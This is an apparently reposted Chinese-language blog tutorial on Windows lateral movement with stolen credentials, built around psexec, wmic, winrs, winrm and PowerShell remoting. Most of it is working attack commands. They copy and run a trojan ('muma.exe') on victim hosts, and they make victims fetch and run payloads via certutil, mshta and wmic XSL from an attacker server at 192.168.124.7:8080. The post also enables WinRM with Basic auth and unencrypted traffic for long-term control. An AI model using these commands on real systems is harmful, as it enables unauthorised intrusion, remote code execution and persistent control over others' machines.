以下所有实验均在工作组环境下


psexec

psexec.exe \\ip –accepteula -u username -p password program.exe

psexec.exe \\host -accepteula -u domain\username -p password -d -c

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。

如果是域环境的话,命令为PsExec.exe \\192.168.23.99 -u test\lisi -p 123 -c cmd


获取对方主机的账号密码后且对方开启445端口,可以使用psexec来进行远程命令执行。

psexec \\172.16.99.233 -u administrator -p 123 -c cmd.exe 获取cmdshell

psexec \\172.16.99.233 -u administrator -p 123 -c muma.exe

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。


使172.16.99.233主机执行在172.16.99.235上的muma.exe文件。达到了在远程主机执行本地文件的目的。攻击机器为172.16.99.235,muma.exe这个文件也在172.16.99.235这个主机上,但是通过上面的命令就可以使得这个文件执行在172.16.99.233这个主机上,进而达到远程控制的效果。


当psexec执行失败当时候,可以按住shift右键点击cmd选择以其他用户启动shell,输入高权限用户当凭据即可。如下图:



wmic

方法1:控制远程主机下载并执行文件

wmic /node:172.16.99.233 /user:Administrator /password:123  process call create "cmd /c  certutil.exe -urlcache -split -f http://172.16.99.233/muma.exe c:/windows/temp/putty3.exe & c:/windows/temp/putty3.exe"

1

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。


上述命令的意思是,连接172.16.99.233并创建一个进程,这个进程是使用cmd 执行命令去 http://172.16.99.233/muma.exe下载这个文件,并保存到本地的 c:/windows/temp/putty3.exe并执行。


方法2:复制本地文件到远程主机并控制远程主机执行

copy muma.exe \\172.16.99.233\c$\windows\temp\test.exe  ##IPC拷贝木马文件

wmic /node:172.16.99.233 /user:administrator /password:123 process call create “c:\windows\temp\test.exe”

1

2

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。



winrm服务

winrm是一种服务,通过WSMan协议实现与远程计算机的对话。有3种方式对其进行操作:

经测试,域控主机只能用winrm不能用mshta与wmic上线。且利用winrs命令上线的话shell会卡住。


1.winrm命令

2.winrs命令

3.powershell

1

2

3

windows server自2008开始默认启动winrm服务,默认情况下,WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口。


1.winrs

当目标开启winrm服务的时候:


winrs -r:yukong -u:test\administrator -p:123 "hostname"

winrs -r:lisi-win10 -u:test\administrator -p:123 "cmd.exe /c mshta http://192.168.124.7:8080/a.png"

winrs -r:lisi-win10 -u:test\administrator -p:123 "wmic os get /format:"http://192.168.124.7:8080/a.xsl""

1

2

3


如果目标没有开启winrm服务,则会报错:




2.winrm

如若当前机器开启了winrm则可查看状态


winrm enumerate winrm/config/listener

1



如果目标主机开启winrm服务,则可使用命令在远程主机执行命令,例如打开calc.exe:


winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:lisi-win10 -u:test\administrator -p:123

winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c mshta http://192.168.124.7:8080/a.png"} -r:lisi-win10 -u:test\administrator -p:123

1

2



可知道程序已被打开,并且pid为4460,但当我登陆被攻击机器的时候发现,程序确实被打开,但是pid不是4460.


我们拿到一台主机后,如果当前主机没有开启winrm服务,我们可以在管理员权限下执行下面的命令来长期开启winrm服务,然后利用其账号密码进行长期控制:


powershell Enable-PSRemoting –force

powershell Set-Service WinRM -StartMode Automatic

1

2

winrm其他命令:


#查看WinRM状态

winrm enumerate winrm/config/listener

 

#开启WinRM远程管理

Enable-PSRemoting –force

 

#设置WinRM自启动

Set-Service WinRM -StartMode Automatic

 

#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口

winrm quickconfig -q

#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口

winrm quickconfig -transport:https    

 

#查看WinRM的配置

winrm get winrm/config

 

#查看WinRM的监听器

winrm e winrm/config/listener

 

#为WinRM服务配置认证

winrm set winrm/config/service/auth '@{Basic="true"}'

 

#修改WinRM默认端口

winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'

 

#为WinRM服务配置加密方式为允许非加密:

winrm set winrm/config/service '@{AllowUnencrypted="true"}'

 

#设置只允许指定IP远程连接WinRM

winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'

 

#执行命令

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

 

#在dc机器上面执行命令并且指定用户名和密码

winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:dc -u:one\administrator -p:q123456.



3.powershell

Enter-PSSession -computer lisi-win10 #高权限用户可以直接控制低权限用户的主机

————————————————

版权声明:本文为CSDN博主「Shanfenglan7」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_41874930/article/details/108245293


标签: none

添加新评论